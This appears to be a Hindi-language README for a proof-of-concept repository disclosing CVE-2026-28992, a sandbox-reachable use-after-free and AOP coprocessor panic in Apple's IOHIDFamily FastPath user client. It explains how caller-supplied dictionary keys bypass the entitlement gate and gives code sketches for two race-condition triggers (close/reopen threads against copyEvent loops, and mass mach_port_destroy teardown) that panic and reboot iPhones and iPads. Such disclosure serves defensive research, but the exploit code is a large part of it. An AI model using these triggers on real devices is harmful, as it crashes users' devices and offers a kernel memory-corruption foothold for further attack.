
IOHIDEventServiceFastPathUserClient में UAF और AOP कोप्रोसेसर पैनिक। कोई एंटाइटलमेंट नहीं, ऐप सैंडबॉक्स से पहुंच योग्य।
CVE-2026-28992 | लेखक: Johnny Franks (@zeroxjf)
घटक: IOHIDFamily
प्रभाव: एक हमलावर अनपेक्षित ऐप समाप्ति का कारण बन सकता है
विवरण: एक मेमोरी करप्शन भेद्यता को बेहतर लॉकिंग के साथ संबोधित किया गया।
दोनों PoC प्रभावित डिवाइसों पर कर्नेल-पैनिक और रिबूट का कारण बनते हैं। पहले अपना काम सेव कर लें।
IOHIDEventServiceFastPathUserClient (IOHIDFamily kext) में दो रेस कंडीशन्स। किसी एंटाइटलमेंट की आवश्यकता नहीं। सामान्य ऐप सैंडबॉक्स से पहुंच योग्य।
दोनों वेक्टर IOServiceOpen(service, task, 2, &conn) का उपयोग करते हैं। sel0 ओपन गेट initWithTask के दौरान संग्रहीत एंटाइटलमेंट फ्लैग के बजाय कॉलर-सप्लाई किए गए OSDictionary में FastPathHasEntitlement और FastPathMotionEventEntitlement की जांच करता है; एक सैंडबॉक्स किया गया ऐप उन कुंजियों को इनपुट स्ट्रक्चर में शामिल करके गेट पास कर लेता है।
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
क्लोज़ पाथ (sel1) प्रोवाइडर स्टेट को हटा देता है और बिना किसी लॉक के +0x109 साफ़ करता है। copyEvent (sel2) एक अलग फ्लैग (+0x108) की जांच प्रति-कनेक्शन लॉक के अंतर्गत करता है, फिर प्रोवाइडर में कॉल करता है। एक ही प्रोवाइडर के लिए कई कनेक्शन होने का मतलब है कि क्लोज़ और copyEvent साझा प्रोवाइडर-साइड ऑब्जेक्ट्स पर अलग-अलग लॉकिंग डोमेन में कार्य करते हैं।
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy अतुल्यकालिक didTerminate → क्लोज़/टियरडाउन ट्रिगर करता है, जो अन्य कनेक्शनों पर समवर्ती sel0 ओपन पाथ के साथ सिंक्रनाइज़ नहीं होता। यह SPU-समर्थित प्रोवाइडरों के मेलबॉक्स को भी संतृप्त कर देता है, जिससे AOP वॉचडॉग टाइमआउट ट्रिगर होता है।
| पथ | विवरण |
|---|
UAFPoc/ | iOS ऐप — UAF ट्रिगर करता है (A17+ पर MTE टैग फॉल्ट, pre-A17 पर डेटा अबॉर्ट) |
AOPPanicPoc/ | iOS ऐप — SPU मेलबॉक्स संतृप्ति के माध्यम से AOP कोप्रोसेसर पैनिक ट्रिगर करता है |
panic-logs/mte-tag-fault.ips | कर्नेल टैग चेक फॉल्ट — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | कर्नेल डेटा अबॉर्ट — iPad Pro 12.9" दूसरी पीढ़ी (A10X, MTE/PAC नहीं) |
panic-logs/aop-panic.ips | AOP कोप्रोसेसर पैनिक — iPhone 17 Pro Max (SPU मेलबॉक्स ओवरफ्लो) |